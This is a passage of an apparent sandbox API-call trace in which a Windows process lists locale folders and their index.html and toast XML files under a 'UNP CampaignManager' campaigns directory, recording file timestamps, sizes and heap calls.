lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0291.104] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0291.104] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0291.104] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0291.104] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0291.104] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0291.105] GetProcessHeap () returned 0xaf0000 [0291.105] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0291.105] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-CA", cAlternateFileName="")) returned 1 [0291.105] GetProcessHeap () returned 0xaf0000 [0291.105] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0291.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0291.106] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b914a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0291.106] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x923d, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0291.106] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0291.107] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0291.107] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0291.107] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0291.107] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0292.169] GetProcessHeap () returned 0xaf0000 [0292.169] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0292.169] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0292.169] GetProcessHeap () returned 0xaf0000 [0292.169] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0292.169] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0292.171] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b93b92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0292.171] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9093, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0292.171] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x14d9d700, ftLastWriteTime.dwHighDateTime=0x1d29cb5, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0292.171] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0292.171] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0292.171] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0292.171] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0292.172] GetProcessHeap () returned 0xaf0000 [0292.172] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0292.172] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-HK", cAlternateFileName="")) returned 1 [0292.172] GetProcessHeap () returned 0xaf0000 [0292.172] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0292.173] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0292.174] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c098ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e408d2a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0292.174] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0292.174] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0292.174] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0292.174] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0292.174] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0292.174] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0292.175] GetProcessHeap () returned 0xaf0000 [0292.175] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0292.175] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ID", cAlternateFileName="")) returned 1 [0292.176] GetProcessHeap () returned 0xaf0000 [0292.176] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0292.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0292.177] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c0b4b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0292.177] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0292.177] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0292.177] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0292.177] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0292.177] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0292.177] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0292.178] GetProcessHeap () returned 0xaf0000 [0292.178] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0292.178] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1 [0292.179] GetProcessHeap () returned 0xaf0000 [0292.179] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0292.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0292.180] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0292.180] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0292.180] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, 